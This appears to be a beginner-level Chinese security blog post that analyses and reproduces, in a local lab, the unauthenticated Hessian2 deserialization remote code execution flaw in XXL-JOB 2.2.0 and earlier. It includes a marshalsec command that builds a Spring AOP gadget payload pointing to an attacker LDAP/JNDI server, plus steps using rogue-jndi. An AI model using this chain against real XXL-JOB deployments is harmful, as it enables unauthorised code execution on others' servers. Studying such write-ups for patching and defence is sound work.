【新手入门系列】一步一步教你漏洞挖掘之XXL-JOB 未授权 Hessian2反序列化漏洞分析与复现

渗透技巧 2年前 (2021) admin
1,176 0 0

引言




XXL-JOB是一个分布式任务调度平台,其核心设计目标是开发迅速、学习简单、轻量级、易扩展。现已开放源代码并接入多家公司线上产品线,开箱即用。XXL-JOB v2.2.0及以下版本API接口存在Hessian2反序列化漏洞,可通过相关利用链结合JNDI注入实现RCE。


环境构建




0x01 MySQL数据库配置


wget https://raw.githubusercontent.com/xuxueli/xxl-job/2.0.2/doc/db/tables_xxl_job.sql


导入数据库:


【新手入门系列】一步一步教你漏洞挖掘之XXL-JOB 未授权 Hessian2反序列化漏洞分析与复现


0x02 XXL-JOB配置


wget https://github.com/xuxueli/xxl-job/archive/2.0.2.zip


修改配置(`xxl-job-2.0.2xxl-job-adminsrcmainresourcesapplication.properties`):


【新手入门系列】一步一步教你漏洞挖掘之XXL-JOB 未授权 Hessian2反序列化漏洞分析与复现


将源代码放入idea,直接可以启动:


【新手入门系列】一步一步教你漏洞挖掘之XXL-JOB 未授权 Hessian2反序列化漏洞分析与复现


源码分析




定位问题接口`JobApiController#api`


【新手入门系列】一步一步教你漏洞挖掘之XXL-JOB 未授权 Hessian2反序列化漏洞分析与复现


`@PermessionLimit(limit=false)`说明该接口访问不需要认证。跟进`invokeAdminService`,一直跟到`parseRequest`:


【新手入门系列】一步一步教你漏洞挖掘之XXL-JOB 未授权 Hessian2反序列化漏洞分析与复现


【新手入门系列】一步一步教你漏洞挖掘之XXL-JOB 未授权 Hessian2反序列化漏洞分析与复现


存在Hessian2反序列化漏洞。


漏洞复现




【新手入门系列】一步一步教你漏洞挖掘之XXL-JOB 未授权 Hessian2反序列化漏洞分析与复现


目前Hessian公开的利用链主要如下:


【新手入门系列】一步一步教你漏洞挖掘之XXL-JOB 未授权 Hessian2反序列化漏洞分析与复现


显然适用于本案例的就是`Spring AOP`,需要结合JNDI注入,但是JDK版本较高,无法远程加载恶意类。不过由于XXL-JOB默认运行在Tomcat之上,可以利用本地的工厂类进行RCE。这里利用rogue-jndi来进行利用:


rogue-jndi

https://github.com/veracode-research/rogue-jndi


0x01 启动JNDI服务


【新手入门系列】一步一步教你漏洞挖掘之XXL-JOB 未授权 Hessian2反序列化漏洞分析与复现


0x02 生成Payload


可利用`marshalsec`直接生成:


java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.Hessian2 SpringAbstractBeanFactoryPointcutAdvisor ldap://***:1389/o=tomcat > calc.ser


0x03 发送数据包


替换数据包的POST部分,发送即可复现漏洞:


【新手入门系列】一步一步教你漏洞挖掘之XXL-JOB 未授权 Hessian2反序列化漏洞分析与复现


参考




https://github.com/xuxueli/xxl-job

http://itliusir.com/2018/scheduler-xxl-job/

https://github.com/veracode-research/rogue-jndi

https://github.com/mbechler/marshalsec



由于传播、利用此文档提供的信息而造成任何直接或间接的后果及损害,均由使用本人负责,且听安全团队及文章作者不为此承担任何责任。



点关注,不迷路!

【新手入门系列】一步一步教你漏洞挖掘之XXL-JOB 未授权 Hessian2反序列化漏洞分析与复现

原文始发于微信公众号(且听安全):【新手入门系列】一步一步教你漏洞挖掘之XXL-JOB 未授权 Hessian2反序列化漏洞分析与复现

相关文章

暂无评论

您必须登录才能参与评论!
立即登录
暂无评论...